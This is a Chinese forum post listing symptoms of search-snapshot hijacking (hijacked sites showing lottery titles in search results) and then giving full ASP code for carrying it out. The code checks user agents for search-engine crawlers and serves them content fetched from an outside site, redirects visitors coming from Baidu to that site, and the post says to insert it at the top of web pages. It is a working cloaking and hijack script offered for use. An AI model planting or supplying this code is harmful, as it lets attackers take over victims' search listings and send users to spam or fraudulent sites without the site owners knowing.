搜索
查看: 553|回复: 0

[技术杂烩] asp快照劫持代码

[复制链接]

8183

主题

8226

帖子

8910

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
8910
发表于 2015-7-22 17:48:00 | 显示全部楼层 |阅读模式
1、利用各搜索引擎去搜索自己网站的域名,所得到的结果是 时时彩 等相关信息。
2、网站域名是自己的,搜索引擎搜录的快照日期是最新的,但网站标题、关键字和描述都不是自己的,而是 时时彩 等相关信息。
3、查看源代码是正常的,没有挂马代码,用杀毒软件扫描也检测不到病毒。
4、将目录清空后重新上传备份过的网站文件,可是问题依旧如故。
5、网站的根目录无法删除,将文件夹选项设置成“显示隐藏文件”后,并没有发现有隐藏的文件存在。
  1. <%
  2. function GetBot()
  3. '查询蜘蛛
  4. dim s_agent
  5. GetBot=""
  6. s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
  7. if instr(1,s_agent,"googlebot",1) >0 then
  8. GetBot="google"
  9. end if
  10. if instr(1,s_agent,"msnbot",1) >0 then
  11. GetBot="MSN"
  12. end if
  13. if instr(1,s_agent,"slurp",1) >0 then
  14. GetBot="Yahoo"
  15. end if
  16. if instr(1,s_agent,"baiduspider",1) >0 then
  17. GetBot="baidu"
  18. end if
  19. if instr(1,s_agent,"sohu-search",1) >0 then
  20. GetBot="Sohu"
  21. end if
  22. if instr(1,s_agent,"lycos",1) >0 then
  23. GetBot="Lycos"
  24. end if
  25. if instr(1,s_agent,"robozilla",1) >0 then
  26. GetBot="Robozilla"
  27. end if
  28. end function
  29. Function getHTTPPage(Path)
  30. t = GetBody(Path)
  31. getHTTPPage=BytesToBstr(t,"GB2312")'编码
  32. End function
  33. Function Newstring(wstr,strng)
  34. Newstring=Instr(lcase(wstr),lcase(strng))
  35. if Newstring<=0 then Newstring=Len(wstr)
  36. End Function
  37. Function GetBody(url)
  38. on error resume next
  39. Set Retrieval = CreateObject("Microsoft.XMLHTTP")
  40. With Retrieval
  41. .Open "Get", url, False, "", ""
  42. .Send
  43. GetBody = .ResponseBody
  44. End With
  45. Set Retrieval = Nothing
  46. End Function
  47. Function BytesToBstr(body,Cset)
  48. dim objstream
  49. set objstream = Server.CreateObject("adodb.stream")
  50. objstream.Type = 1
  51. objstream.Mode =3
  52. objstream.Open
  53. objstream.Write body
  54. objstream.Position = 0
  55. objstream.Type = 2
  56. objstream.Charset = Cset
  57. BytesToBstr = objstream.ReadText
  58. objstream.Close
  59. set objstream = nothing
  60. End Function
  61. Dim wstr,str,url,start,over,dtime
  62. if GetBot="baidu" then
  63. url="http://www.gmqd.com/"
  64. wstr=getHTTPPage(url)
  65. body=wstr
  66. response.write ""&body&""
  67. response.end
  68. elseif GetBot="google" then
  69. url="http://www.gmqd.com/"
  70. wstr=getHTTPPage(url)
  71. body=wstr
  72. response.write ""&body&""
  73. response.end
  74. end if
  75. if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
  76. response.redirect("http://www.gmqd.com/")
  77. end if
  78. %>
复制代码
最后要说一下:asp快照劫持插入方法,源代码必须插入网页头部。
GM起点所有资源均免费下载,回复帖子即出现下载地址!站长QQ:969806969
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站长QQ969806969|润芒论坛|GM部落|GM016论坛|jjj555论坛|鲁ICP备16008334号-17|GM起点

GMT+8, 2024-5-16 13:14 , Processed in 0.921875 second(s), 19 queries .

Powered by Discuz! X3.4

© 2008-2020 www.gmqd.com

快速回复 返回顶部 返回列表